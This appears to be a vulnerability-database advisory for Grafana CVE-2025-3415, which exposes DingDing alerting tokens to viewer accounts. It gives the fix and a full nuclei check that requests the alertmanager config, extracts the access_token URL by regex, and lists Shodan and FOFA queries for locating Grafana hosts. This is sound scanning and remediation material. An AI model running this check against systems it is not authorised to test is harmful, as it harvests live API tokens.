HexBrain

Browse / CVEs / CVE-2025-3415

CVE-2025-3415· grafana / grafana

Grafana - Exposes DingDing API Keys

mediumseverity
1.1%likelihood of exploitation, next 30 days
66%of all CVEs are less likely
Readycheck to confirm it

An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.

Impact

Viewers can access DingDing alerting integration URLs containing access tokens through the alertmanager API, potentially enabling unauthorized message delivery and notification manipulation.

Fix

Upgrade to Grafana version 12.0.2 or later that properly restricts access to DingDing integration settings.

How to confirm it

Send: GET /api/alertmanager/grafana/config/api/v1/alerts
Positive when: contains_all(body, "dingtalk.com","dingding-context") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-3415 -u <target>

The full check
id: CVE-2025-3415

info:
  name: Grafana - Exposes DingDing API Keys
  author: lucasribolli
  severity: medium
  description: |
    An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.
  impact: |
    Viewers can access DingDing alerting integration URLs containing access tokens through the alertmanager API, potentially enabling unauthorized message delivery and notification manipulation.
  remediation: |
    Upgrade to Grafana version 12.0.2 or later that properly restricts access to DingDing integration settings.
  reference:
    - https://grafana.com/blog/2025/06/13/grafana-security-update-medium-severity-security-release-for-cve-2025-3415/
  classification:
    epss-score: 0.01083
    epss-percentile: 0.65479
  metadata:
    verified: true
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query:
      - http.title:"grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve,cve2025,grafana,dingding,dingtalk,apikey,vkev,vuln

http:
  - raw:
      - |
        GET /api/alertmanager/grafana/config/api/v1/alerts HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "dingtalk.com","dingding-context")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: dingding-integration-url
        part: body
        regex:
          - '(?i)https?://oapi\.dingtalk\.com/robot/send\?access_token=[^&"\s]+'

References

Use this check only on systems you are authorised to test. Where the data comes from